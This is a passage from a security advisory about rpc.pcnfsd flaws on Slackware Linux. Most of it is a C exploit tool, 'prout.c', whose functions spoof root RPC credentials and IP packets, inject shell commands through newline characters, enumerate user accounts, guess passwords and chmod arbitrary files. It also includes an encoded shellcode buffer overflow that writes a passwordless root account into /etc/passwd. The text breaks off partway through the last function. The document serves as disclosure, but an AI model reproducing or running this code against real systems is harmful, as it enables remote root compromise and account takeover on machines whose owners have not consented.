COMMAND

    rpc.pcnfsd

SYSTEMS AFFECTED

    Many systems

PROBLEM

    'ga' found following. After the two advisories released by rep-sec
    and rhino9 about pcnfsd (both  as one in rpc.pcnfsd #3  in mUNIXes
    section).   'ga' checked  if all  the described  holes were really
    present in my Slackware 3.1 distrib (using the compiled rpc.pcnfsd
    code shipped with  Slackware 3.5).   He found a  buffer overrun in
    the pcnfs  daemon (Slackware)  that could  lead to  a remote  root
    compromise.

    He didn't  succeed to  use the  ps630() hole  explained in rep sec
    advisory  (same  as  pr_cancel()  phf-like  bug).   It's   because
    pcnfsd_print.c checks if  the file really  exists (and then  tries
    to rename  it with  the .spl  extension).   Therefore, if the file
    doesn't exist  then an  error is  returned.   However, if  a local
    user creates  a filename  in the  /var/spool/pcnfs directory which
    is     in     fact     the     command     to     execute     (ex:
    /var/spool/pcnfs/FILENAME\nwhoami\nBLAH)  then  ps630()  will work
    indeed,  executing  the  command  as  root).   The way to remotely
    exploit the ps630 function is by tricking pcnfsd into detecting  a
    file, which  will then  allow you  to get  to the vulnerable code.
    You  can  do  this  by  sending  a  '.',  which  will  be   there.
    Exploit follows (see comments below):

    /*

     prout.c : (ab)use of pcnfs RPC program (version 2 only).

     [part of the rpc project, 981007]

     happy birthday route..

						    ga <duncan@mygale.org>

    */

    //#include <disclaimer.h>
    #include <string.h>                  // strcpy and co
    #include <stdio.h>
    #include <stdlib.h>                  // malloc, free, strtol
    #include <signal.h>                  // signal(), alarm()
    #include <unistd.h>                  // getopt, getuid, geteuid
    #include <errno.h>                   // perror
    #include <netdb.h>                   // gethostbyname
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>                      // socket interface
    #include <linux/socket.h>
    #include <linux/in.h>                        // ip protocol (IPPROTO_*)

    #define LEN_HDR_IP      20
    #define LEN_HDR_UDP     8
    #define LEN_HDR_RPC     24
    #define LEN_AUTH_UNIX   72+12           // length authentification field
					    // (credentials=null) plus
					    // length hostname%4 ("localhost")

    #define ROUND_VALUE(value) (value/4+(value%4?1:0))

    int ctimeout;
    int verbose=0;

    struct ip_hdr                           // 20
    {
	    unsigned char      ver;
	    unsigned char      tos;
	    unsigned short int length;
	    unsigned short int identification;
	    unsigned short int fragoff;
	    unsigned char      ttl;
	    unsigned char      protocol;
	    unsigned short int checksum;
	    unsigned long  int sip;
	    unsigned long  int dip;
    };

    struct udp_hdr                          // 8
    {
	    unsigned short int sport;
	    unsigned short int dport;
	    unsigned short int length;
	    unsigned short int checksum;
    };

    // RPC common hdr

    struct rpc_hdr                          // 24
    {       unsigned long  xid;
	    unsigned long  type_msg;
	    unsigned long  version_rpc;
	    unsigned long  prog_id;
	    unsigned long  prog_ver;
	    unsigned long  prog_proc;
    };

    // RPC pcnfsd call args

    struct pr_cancel_args                   // 722(4)
    {
	    unsigned long  len_pn;
	    char           printername[64];
	    unsigned long  len_clnt;
	    char           name[64];
	    unsigned long  len_username;
	    char           username[64];
	    unsigned long  len_printerjobid;
	    char           printerjobid[255];
	    unsigned long  len_comments;
	    char           comments[255];
    };
    #define LEN_HDR_PCN_CANCEL      sizeof(struct pr_cancel_args)

    struct pr_mapid_args
    {
	    unsigned long  len_comments;
	    char           comments[255];
	    unsigned long  req_list;
	    unsigned long  mapreq;
	    unsigned long  uid;
	    unsigned long  len_username;
	    char           username[64];
	    unsigned long  mapreqnext;
    };
    #define LEN_HDR_PCN_MAPID       sizeof(struct pr_mapid_args)

    struct pr_auth_args
    {
	    unsigned long  len_clnt;
	    char           name[64];
	    unsigned long  len_id;
	    char           id[32];
	    unsigned long  len_passwd;
	    char           passwd[64];
	    unsigned long  len_comments;
	    char           comments[255];
    };
    #define LEN_HDR_PCN_AUTH        sizeof(struct pr_auth_args)

    struct pr_init_args {
	    unsigned long  len_clnt;
	    char           name[64];
	    unsigned long  len_pn;
	    char           printername[64];
	    unsigned long  len_comments;
	    char           comments[255];
    };
    #define LEN_HDR_PCN_INIT        sizeof(struct pr_init_args)

    struct pr_info_args {
	    unsigned long  len_version;
	    char           version[255];
	    unsigned long  len_comments;
	    char           comments[255];
    };
    #define LEN_HDR_PCN_INFO        sizeof(struct pr_info_args)


    void handler_timeout(int foo)
    {
       alarm(0);
       ctimeout=1;
    }

    void set_alarm()
    {
       alarm(10);
       ctimeout=0;
    }

    int readfd(fd, buffer, sizeb)
    int fd;
    char *buffer;
    int sizeb;
    {
    int nb;

       signal(SIGALRM, handler_timeout);
       set_alarm();

       while(1) {

	  nb=read(fd, (char *)buffer, sizeb);

	  if (ctimeout) {
	     ctimeout--;
	     close(fd);
	     fprintf(stderr, "udp answer timeout\n");
	     return -2;
	  }

	  if (nb<0) {
	     perror("read");
	     close(fd);
	     return -1;
	  }
	  else break;
       }
       alarm(0);
       return nb;
    }

    // PR_AUTH uses xor-crypted login/passwd
    void crypt_xor(dest_str, source_str)
    char *dest_str;
    char *source_str;
    {
      while (*source_str)
      {
	 *dest_str++=(*source_str^0x5b) & 0x7f;
	 source_str++;
      }
      *dest_str=0;
    }


    // It's ugly.. I know.
    void dump_packet(unsigned char *pkt, int lenpkt)
    {
    register int m;
    register int n;
    register unsigned char *data;

       printf("(%d bytes)\n", lenpkt);

       data=pkt;
       for (m=0;m<lenpkt;m++) {
	  if( (!(m%2)) && (m!=0) ) putchar(' ');
	  if( (!(m%8)) && (m!=0) ) {
	     n=m;
	     for (n=8;n>0;n--) {
		if ((*(data+m-n)>31) && (*(data+m-n)<127))
		     printf("%c", *(data+m-n));
		else
		   putchar('.');
	     }
	     putchar('\n');
	  }
	  printf("%02x",*(data+m));
       }
       for (m=0;m<(8-((lenpkt%8)?(lenpkt%8):8))*2+(4-((lenpkt%8)?(lenpkt%8-1):7)/2)
	   ;m++) putchar(' ');
       for (m=lenpkt-((lenpkt%8)?(lenpkt%8):8);m<lenpkt;m++) {
		if ((*(data+m)>31) && (*(data+m)<127))
		     printf("%c", *(data+m));
		else
		   putchar('.');
       }
       printf("\n\n");
    }

    // humm.. SOCK_RAW/IPPROTO_RAW, bad idea to use that, but well...
    int make_raw_socket()
    {
    int s;
    int opt=1;

       if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
	  perror("socket");
	  return -1;
       }
       if ((setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&opt, sizeof(opt)))<0) {
	  perror("setsockopt IP_HDRINCL");
	  return -1;
       }
       return s;
    }

    // spoof of the RPC auth unix authentification
    void make_auth_unix(authptr)
    unsigned long *authptr;
    {
    struct timeval tv;

       gettimeofday(&tv, (struct timezone *) NULL);

       *(  authptr)=htonl(1);                                      // auth unix
       *(++authptr)=htonl(LEN_AUTH_UNIX-16);                       // length auth
       *(++authptr)=htonl(tv.tv_sec);                              // local time
       *(++authptr)=htonl(9);                                      // length host
       strcpy((char *)++authptr, "localhost");                     // hostname
       authptr+=(3);                                               // len(host)%4
       *(  authptr)=htonl(0);                                      // uid root
       *(++authptr)=htonl(0);                                      // gid root
       *(++authptr)=htonl(9);                                      // 9 gid grps
       // group root, bin, daemon, sys, adm, disk, wheel, floppy, "user gid"
       *(++authptr)=htonl(0) ;*(++authptr)=htonl(1) ;*(++authptr)=htonl(2);
       *(++authptr)=htonl(3) ;*(++authptr)=htonl(4) ;*(++authptr)=htonl(6);
       *(++authptr)=htonl(10);*(++authptr)=htonl(11);*(++authptr)=htonl(0);
    }


    unsigned long int resolve_host_name(char *hname)
    {
       unsigned long inetaddr;
       struct  hostent *h_ent;

       if ((inetaddr=inet_addr(hname))==-1) {
	  if (!(h_ent=gethostbyname(hname))) {
	     fprintf(stderr, "can't resolve host %s\n", hname);
	     exit(1);
	  }
	  bcopy(h_ent->h_addr, (char *)&inetaddr, h_ent->h_length);
       }
       return(inetaddr);
    }

    /*

     Execute a command with the id of a user on a remote system.

     It's not part of the pcnfsd implementation... pcnfsd_misc.c doesn't correctly
     check all the escaped shell charaters. Therefore, it's possible to execute a
     "command" using the escape shell character '\n' (phf bug..).

     "command" must not contain any of these characters : ";|&<>`'#!?*()[]^/"
     otherwise pcnfs daemon rejects the call.

    */

    int make_pcnfsd_PRCANCEL(pkt,lenpkt, sip, sport, dip, dport, username,
    printername, command)
    unsigned char *pkt;
    int lenpkt;
    unsigned long  sip;
    unsigned short int sport;
    unsigned long  dip;
    unsigned short int dport;
    char *username;
    char *printername;
    char *command;
    {
    int raws;
    unsigned long *authp;

    struct ip_hdr           *iph;
    struct udp_hdr          *udph;
    struct rpc_hdr          *rpch;
    struct pr_cancel_args   *prh;

    struct sockaddr_in s_in;
    struct sockaddr    *sa=(struct sockaddr*)&s_in;

       iph=      (struct ip_hdr*)         (pkt);
       udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
       rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
       authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
       prh=      (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
					      +LEN_AUTH_UNIX);

       iph->ver=0x45;
       iph->length=htons(lenpkt);
       iph->identification=htons(0x6761);
       iph->ttl=0xff;
       iph->protocol=IPPROTO_UDP;
       iph->checksum=htons(0);                        // OS will do it for us..
       iph->sip=sip;
       iph->dip=dip;
       udph->sport=htons(sport);
       udph->dport=htons(dport);
       udph->length=htons(lenpkt-LEN_HDR_IP);
       udph->checksum=htons(0);                       // XXX no udp checksum
       rpch->xid=htonl(0x67616761);                   //     it has to be done..
       rpch->type_msg=htonl(0);
       rpch->version_rpc=htonl(2);
       rpch->prog_id=htonl(150001);
       rpch->prog_ver=htonl(2);
       rpch->prog_proc=htonl(7);                      // PCNFSD_PROC_PRCANCEL
       prh->len_pn           =htonl(63);
       prh->len_clnt         =htonl(63);
       prh->len_username     =htonl(63);
       prh->len_printerjobid =htonl(254);
       prh->len_comments     =htonl(254);
       strcpy(prh->printername,  printername);
       strcpy(prh->username,     username);
       strcpy(prh->name,         "localhost");
       strcpy(prh->printerjobid, "whocares");
       prh->printerjobid[7]='\n';
       strcpy(&prh->printerjobid[8], command);
       prh->printerjobid[7+strlen(command)+1]='\n';
       strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");

       make_auth_unix(authp);

       if ((raws=make_raw_socket())==-1) {
	  return -1;
       }

       bzero((char *)&s_in, sizeof(s_in));
       s_in.sin_family=AF_INET;
       s_in.sin_port=htons(911);                    // whatever
       bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

       if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
					 sizeof(struct sockaddr)))==-1) {
	  perror("send");
	  close(raws);
	  return -1;
       }

       if (verbose) dump_packet(pkt, lenpkt);

       close(raws);
       return 0;
    }

    /*

     Retrieve remotely all logins (with uid) from a system.
     It's part of the pcnfsd implementation.

    */

    int make_pcnfsd_PRMAPID(pkt, lenpkt, dip, dport, lo_uid, up_uid)
    unsigned char *pkt;
    int lenpkt;
    unsigned long  dip;
    unsigned short int dport;
    int lo_uid;
    int up_uid;
    {
    int nbytes, sock;
    unsigned long *authp;
    unsigned long ansrpc[256];

    struct rpc_hdr         *rpch;
    struct pr_mapid_args   *prh;

    struct sockaddr_in s_in;
    struct sockaddr    *sa=(struct sockaddr*)&s_in;

       rpch=     (struct rpc_hdr*)        (pkt);
       authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
       prh=      (struct pr_mapid_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

       rpch->xid=htonl(0x67616761);
       rpch->type_msg=htonl(0);
       rpch->version_rpc=htonl(2);
       rpch->prog_id=htonl(150001);
       rpch->prog_ver=htonl(2);
       rpch->prog_proc=htonl(12);                       // PCNFSD_PROC_PRMAPID
       prh->len_comments     =htonl(254);
       prh->req_list         =htonl(1);                 // only one req_list
       prh->mapreq           =htonl(0);                 // MAP_REQ_UID
       prh->len_username     =htonl(63);
       prh->mapreqnext       =htonl(0);                 // end req_list

       make_auth_unix(authp);

       if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
	  perror("socket");
	  return -1;
       };

       bzero((char *)&s_in, sizeof(s_in));
       s_in.sin_family=AF_INET;
       s_in.sin_port=htons(dport);
       bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

       for (lo_uid; lo_uid<=up_uid;lo_uid++) {

	  prh->uid=htonl(lo_uid);

	  if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
					    sizeof(struct sockaddr)))==-1) {
	     perror("send");
	     close(sock);
	     return -1;
	  }

	  if (verbose) dump_packet(pkt, lenpkt);

	  signal(SIGALRM, handler_timeout);
	  set_alarm();

	  while(1) {
	     nbytes=read(sock, (char *)ansrpc, 1024);
	     if (ctimeout) {
		fprintf(stderr, "uid %i : udp packet lost or no answer from "
				"the server\n", lo_uid);
		break;
	     }
	     if (nbytes<0) {
		perror("read");
		close(sock);
		return -1;
	     }
	     else break;
	  }
	  alarm(0);

	  if (!ctimeout) {

	     if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) {
		fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
		close(sock);
		return -1;
	     }

	     if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);

	     if (ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+3])==0)
		printf("uid %i, user %s\n",
		      ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+4]),
		      (char*)&ansrpc[(6+ROUND_VALUE(ntohl(ansrpc[6]))+6)]);

	  }
       }
       close(sock);
       return 0;
    }

    /*

     Return a list of available printers on the server.

    */

    int make_pcnfsd_PRLIST(pkt, lenpkt, dip, dport)
    unsigned char *pkt;
    int lenpkt;
    unsigned long  dip;
    unsigned short int dport;
    {
    int nbytes, sock;
    unsigned long *authp;
    unsigned long buffer[256];
    unsigned long *ansrpc;

    struct rpc_hdr         *rpch;

    struct sockaddr_in s_in;
    struct sockaddr    *sa=(struct sockaddr*)&s_in;

       rpch=     (struct rpc_hdr*)        (pkt);
       authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);

       rpch->xid=htonl(0x67616761);
       rpch->type_msg=htonl(0);
       rpch->version_rpc=htonl(2);
       rpch->prog_id=htonl(150001);
       rpch->prog_ver=htonl(2);
       rpch->prog_proc=htonl(4);                        // PCNFSD_PROC_PRLIST

       make_auth_unix(authp);

       if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
	  perror("socket");
	  return -1;
       };

       bzero((char *)&s_in, sizeof(s_in));
       s_in.sin_family=AF_INET;
       s_in.sin_port=htons(dport);
       bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

       if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
					 sizeof(struct sockaddr)))==-1) {
	  perror("send");
	  close(sock);
	  return -1;
       }

       if (verbose) dump_packet(pkt, lenpkt);

       if ((nbytes=readfd(sock, (char *)buffer, 1024))<0)
	  return -1;

       if ( (buffer[2]!=htonl(0)) || (buffer[5]!=htonl(0)) ) {
	  fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
	  close(sock);
	  return -1;
       }

       if (verbose) dump_packet((unsigned char*)buffer, nbytes);

       ansrpc=&buffer[6+ROUND_VALUE(ntohl(buffer[6]))+1];

       printf("printer list (printer name, device, comment):\n");

       while(ansrpc[0]==htonl(1)) {
	  ansrpc++;
	  if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
	  else printf("- , ");
	  ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
	  if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
	  else printf("- , ");
	  ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;   // skip client name
	  ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
	  if (ansrpc[0]!=htonl(0)) printf("%s\n", (char *)&ansrpc[1]);
	  else printf("\n");
	  ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;   // next list
       }

       close(sock);
       return 0;
    }

    /*

     Try to guess a combination login/passwd.
     It's part of the pcnfsd implementation.

     A failed attempt is _not_ logged but a successful one is logged in
     wtmp (/usr/adm/wtmp)

    */

    int make_pcnfsd_PRAUTH(pkt, lenpkt, dip, dport, username, password)
    unsigned char *pkt;
    int lenpkt;
    unsigned long  dip;
    unsigned short int dport;
    char *username;
    char *password;
    {
    int nbytes, sock;
    unsigned long *authp;
    unsigned long ansrpc[256];

    struct rpc_hdr         *rpch;
    struct pr_auth_args    *prh;

    struct sockaddr_in s_in;
    struct sockaddr    *sa=(struct sockaddr*)&s_in;

       rpch=     (struct rpc_hdr*)       (pkt);
       authp=    (unsigned long *)       (pkt+LEN_HDR_RPC);
       prh=      (struct pr_auth_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

       rpch->xid=htonl(0x67616761);
       rpch->type_msg=htonl(0);
       rpch->version_rpc=htonl(2);
       rpch->prog_id=htonl(150001);
       rpch->prog_ver=htonl(2);
       rpch->prog_proc=htonl(13);                       // PCNFSD_PROC_PRAUTH
       prh->len_clnt         =htonl(63);
       prh->len_id           =htonl(31);
       prh->len_passwd       =htonl(63);
       prh->len_comments     =htonl(254);

       strcpy(prh->comments,  "kill -9 `pidof rpc.pcnfsd` ?");
       strcpy(prh->name,      "localhost");
       crypt_xor(prh->id,        username);
       crypt_xor(prh->passwd,    password);

       make_auth_unix(authp);

       if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
	  perror("socket");
	  return -1;
       };

       bzero((char *)&s_in, sizeof(s_in));
       s_in.sin_family=AF_INET;
       s_in.sin_port=htons(dport);
       bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

       if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
					 sizeof(struct sockaddr)))==-1) {
	  perror("send");
	  close(sock);
	  return -1;
       }

       if (verbose) dump_packet(pkt, lenpkt);

       if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0)
	  return -1;

       if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) {
	  fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
	  close(sock);
	  return -1;
       }

       if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);

       if (ntohl(ansrpc[6])==0)
	  fprintf(stdout, "SUCCESS user \"%s\" (uid %i, gid %i), password \"%s\"\n",
		  username, ntohl(ansrpc[7]), ntohl(ansrpc[8]), password);
       else
	  fprintf(stderr, "FAILURE: user \"%s\", passwd \"%s\"\n",
		  username, password);

       close(sock);
       return 0;
    }

    /*

     Execute a command as root on the system using a buffer overrun.
     Another one ..

     Tested on Slackware 3.1 running a compiled rpc.pcnfsd shipped with Slackware
     3.5 (unpatched one). The return address may change with distribs..

     If the overflow is successful, then /etc/passwd has the new entry :

	    "prout::0:0::/:/bin/sh"

    */

    int make_pcnfsd_PROVERFLOW(pkt,lenpkt, sip, sport, dip, dport)
    unsigned char *pkt;
    int lenpkt;
    unsigned long  sip;
    unsigned short int sport;
    unsigned long  dip;
    unsigned short int dport;
    {
    int raws;
    unsigned long *authp;

    struct ip_hdr           *iph;
    struct udp_hdr          *udph;
    struct rpc_hdr          *rpch;
    struct pr_cancel_args   *prh;

    struct sockaddr_in s_in;
    struct sockaddr    *sa=(struct sockaddr*)&s_in;

    // buffer overflow data

    #define RETADDR   0xbffff740    // return address for pcnfsd
				    // @(#)pcnfsd_print.c      1.12    1/29/93
				    // used on slackware 3.1 but with code of
				    // rpc.pcnfsd shipped with slackware 3.5 (not
				    // patched). This value may be different for
				    // other linux distribs.
    #define BUFFSIZE  250           // no more, no less

    int off;
    unsigned char *bover;
    unsigned long *boverl;

    char execode[100]=                              // [asm code (linux x86 only)]
	 "\xeb\x0e\x5f\x31\xc9\xb1\x4e\x80\x34\x39" // I had to rewrite a new asm
	 "\xc6\x49\x7d\xf9\xeb\x2d\xe8\xed\xff\xff" // code that doesn't contain
	 "\xff\x9d\x4f\x18\xf7\x06\xf7\x0f\xf7\x14" // any characters like :
	 "\x76\xc3\xa0\x7f\xc7\xc2\x0b\x46\x4f\x05" //
	 "\xf7\x06\xf7\x0f\xf7\x14\x76\xc2\x74\xd0" //  ";|&<>`'#!?*()[]^/" and 0s
	 "\x77\xca\xc7\x37\x0b\x46\xf7\x06\x86\x0b" //
	 "\x46\x2e\x15\x39\x39\x39\xe9\xa3\xb2\xa5" // To crypt it, a simple
	 "\xe9\xb6\xa7\xb5\xb5\xb1\xa2\xc6\xb6\xb4" // "xor 0xc6 loop" did the work
	 "\xa9\xb3\xb2\xfc\xfc\xf6\xfc\xf6\xfc\xfc" //
	 "\xe9\xfc\xe9\xa4\xaf\xa8\xe9\xb5\xae\xcc";// Once decrypted, the code
						    // adds the new entry
						    // "prout::0:0::/:/bin/sh\n"
						    // in /etc/passwd
						    // and then it exits cleanly

       iph=      (struct ip_hdr*)         (pkt);
       udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
       rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
       authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
       prh=      (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
					      +LEN_AUTH_UNIX);

    // set up code of buffer overflow

       bover=(unsigned char *)&(prh->printerjobid);

       for (off=0; off<(BUFFSIZE/2); off++)         // 125 non operates
	  *(bover++)= 0x90;                    // (x86 nop operand) Hello noppie.

       for (off=0; off<sizeof(execode); off++) // 100 bytes of code
	  *(bover++)= execode[off];            // stick our asm code in the buffer

       boverl=(unsigned long *)bover;

       for (off=0; off<8; off++)                    // 7 unsigned long RETADDR
	  *(boverl+off)=RETADDR;               // our return address (on stack)

    // set up IP packet

       iph->ver=0x45;
       iph->length=htons(lenpkt);
       iph->identification=htons(0x6761);
       iph->ttl=0xff;
       iph->protocol=IPPROTO_UDP;
       iph->checksum=htons(0);                         // OS will do it for us
       iph->sip=sip;
       iph->dip=dip;
       udph->sport=htons(sport);
       udph->dport=htons(dport);
       udph->length=htons(lenpkt-LEN_HDR_IP);
       udph->checksum=htons(0);                        // XXX no udp checksum
       rpch->xid=htonl(0x67616761);
       rpch->type_msg=htonl(0);
       rpch->version_rpc=htonl(2);
       rpch->prog_id=htonl(150001);
       rpch->prog_ver=htonl(2);
       rpch->prog_proc=htonl(7);                       // PCNFSD_PROC_PRCANCEL
       prh->len_pn           =htonl(63);
       prh->len_clnt         =htonl(63);
       prh->len_username     =htonl(63);
       prh->len_printerjobid =htonl(254);
       prh->len_comments     =htonl(254);
       strcpy (prh->printername,  "lp");               // we assume "lp" is a good
       strcpy (prh->username,     "nobody");           // printer
       strcpy (prh->name,         "localhost");
       strcpy (prh->comments,"Indeed,'rm -rf rpc.pcnfsd' would be a good choice.");

       make_auth_unix(authp);

       if ((raws=make_raw_socket())==-1) {
	  return -1;
       }

       bzero((char *)&s_in, sizeof(s_in));
       s_in.sin_family=AF_INET;
       s_in.sin_port=htons(911);                    // whatever
       bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

       if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
					 sizeof(struct sockaddr)))==-1) {
	  perror("send");
	  close(raws);
	  return -1;
       }

       if (verbose) dump_packet(pkt, lenpkt);

       close(raws);
       return 0;
    }

    /*

     A local user can chmod(777) any files in the pcnfsd directory (including the
     pcnfsd directory itself "/var/spool/pcnfs" by using a file name "." as arg).

     Therefore, using a symlink, a user can chmod(777) any files on the system.

    */

    int make_pcnfsd_local_PRINIT(pkt,lenpkt, dip, dport, filename)
    unsigned char *pkt;
    int lenpkt;
    unsigned long  dip;
    unsigned short int dport;
    char *filename;
    {
    int sock;
    unsigned long *authp;

    struct rpc_hdr          *rpch;
    struct pr_init_args     *prh;

    struct sockaddr_in s_in;
    struct sockaddr    *sa=(struct sockaddr*)&s_in;

       rpch=     (struct rpc_hdr*)        (pkt);
       authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
       prh=      (struct pr_init_args *)  (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

       rpch->xid=htonl(0x67616761);
       rpch->type_msg=htonl(0);
       rpch->version_rpc=htonl(2);
       rpch->prog_id=htonl(150001);
       rpch->prog_ver=htonl(2);
       rpch->prog_proc=htonl(2);                       // PCNFSD_PROC_PRINIT
       prh->len_clnt         =htonl(63);
       prh->len_pn           =htonl(63);
       prh->len_comments     =htonl(254);
       strcpy(prh->printername,  "lp");                // PR_INIT doesn't check it
						       // anyway
       strcpy(prh->name,         filename);
       strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");

       make_auth_unix(authp);

       if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
	  perror("socket");
	  return -1;
       };

       bzero((char *)&s_in, sizeof(s_in));
       s_in.sin_family=AF_INET;
       s_in.sin_port=htons(dport);
       bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

       if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
					 sizeof(struct sockaddr)))==-1) {
	  perror("send");
	  close(sock);
	  return -1;
       }

       if (verbose) dump_packet(pkt, lenpkt);

       close(sock);
       return 0;
    }

    /*

     Same as make_pcnfsd_local_PRINIT() but with a spoofed ip/port.

    */

    int make_pcnfsd_spoof_PRINIT(pkt,lenpkt, sip, sport, dip, dport, filename)
    unsigned char *pkt;
    int lenpkt;
    unsigned long  sip;
    unsigned short int sport;
    unsigned long  dip;
    unsigned short int dport;
    char *filename;
    {
    int raws;
    unsigned long *authp;

    struct ip_hdr           *iph;
    struct udp_hdr          *udph;
    struct rpc_hdr          *rpch;
    struct pr_init_args     *prh;

    struct sockaddr_in s_in;
    struct sockaddr    *sa=(struct sockaddr*)&s_in;

       iph=      (struct ip_hdr*)         (pkt);
       udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
       rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
       authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
       prh=      (struct pr_init_args *)  (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
					      +LEN_AUTH_UNIX);

       iph->ver=0x45;
       iph->length=htons(lenpkt);
       iph->identification=htons(0x6761);
       iph->ttl=0xff;
       iph->protocol=IPPROTO_UDP;
       iph->checksum=htons(0);                         // OS will do it for us
       iph->sip=sip;
       iph->dip=dip;
       udph->sport=htons(sport);
       udph->dport=htons(dport);
       udph->length=htons(lenpkt-LEN_HDR_IP);
       udph->checksum=htons(0);                        // XXX no udp checksum, not
       rpch->xid=htonl(0x67616761);                    //     reliable over inet.
       rpch->type_msg=htonl(0);
       rpch->version_rpc=htonl(2);
       rpch->prog_id=htonl(150001);
       rpch->prog_ver=htonl(2);
       rpch->prog_proc=htonl(2);                       // PCNFSD_PROC_PRINIT
       prh->len_clnt         =htonl(63);
       prh->len_pn           =htonl(63);
       prh->len_comments     =htonl(254);
       strcpy(prh->printername,  "lp");                // whatever
       strcpy(prh->name,         filename);
       strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");

       make_auth_unix(authp);

       if ((raws=make_raw_socket())==-1) {
	  return -1;
       }

       bzero((char *)&s_in, sizeof(s_in));
       s_in.sin_family=AF_INET;
       s_in.sin_port=htons(911);                    // whatever
       bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

       if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
					 sizeof(struct sockaddr)))==-1) {
	  perror("send");
	  close(raws);
	  return -1;
       }

       if (verbose) dump_packet(pkt, lenpkt);

       close(raws);
       return 0;
    }

    /*

     A (remote) user can retrieve the version of the running pcnfs daemon.

     If a buffer overrun exists in the pcnfs daemon then, using the version info,
     an evil user can guess the good return address to put on the stack (this value
     directly depends on the version of pcnfs).

    */

    int make_pcnfsd_PRINFO(pkt,lenpkt, dip, dport)
    unsigned char *pkt;
    int lenpkt;
    unsigned long  dip;
    unsigned short int dport;
    {
    int nbytes, sock;
    unsigned long *authp;
    unsigned long ansrpc[256];

    struct rpc_hdr          *rpch;
    struct pr_info_args     *prh;

    struct sockaddr_in s_in;
    struct sockaddr    *sa=(struct sockaddr*)&s_in;

       rpch=     (struct rpc_hdr*)        (pkt);
       authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
       prh=      (struct pr_info_args *)  (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

       rpch->xid=htonl(0x67616761);
       rpch->type_msg=htonl(0);
       rpch->version_rpc=htonl(2);
       rpch->prog_id=htonl(150001);
       rpch->prog_ver=htonl(2);
       rpch->prog_proc=htonl(1);                       // PCNFSD_PROC_PRINFO
       prh->len_version      =htonl(254);
       prh->len_comments     =htonl(254);
       strcpy(prh->comments,"Become safe with this command : echo BAD>rpc.pcnfsd");

       make_auth_unix(authp);

       if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
	  perror("socket");
	  return -1;
       };

       bzero((char *)&s_in, sizeof(s_in));
       s_in.sin_family=AF_INET;
       s_in.sin_port=htons(dport);
       bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

       if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
					 sizeof(struct sockaddr)))==-1) {
	  perror("send");
	  close(sock);
	  return -1;
       }

       if (verbose) dump_packet(pkt, lenpkt);

